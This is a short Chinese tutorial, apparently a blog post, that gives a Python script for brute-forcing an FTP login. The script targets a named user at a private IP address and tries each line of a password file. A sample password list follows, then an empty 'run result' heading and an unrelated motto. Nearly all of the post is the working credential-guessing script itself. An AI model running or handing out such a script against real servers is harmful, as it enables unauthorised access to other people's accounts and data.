1、首先要知道FTP用戶名,這里使用renqiyuan。
2、自定義一個密碼文件pass.txt,進行暴力破解。
代碼如下:
#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib def ftpLogin(host, Name, PassFile): #讀取密碼文件 PF = open(PassFile, 'r') for line in PF.readlines(): name = Name passwd = str(line).strip() print("Trying: "+name+"/"+passwd) try: ftp = ftplib.FTP(host) ftp.login(name,passwd) print("登錄成功",name, passwd) ftp.quit() return (name, passwd) except Exception as e: pass print("沒有找到正確的密碼") return None hostName = '172.16.10.200' passwordFile = 'pass.txt' if __name__ == '__main__': ftpLogin(hostName, "renqiyuan", passwordFile)
密碼文件:
2222 123 123 123 111111 231 123
運行結果
讀書和健身總有一個在路上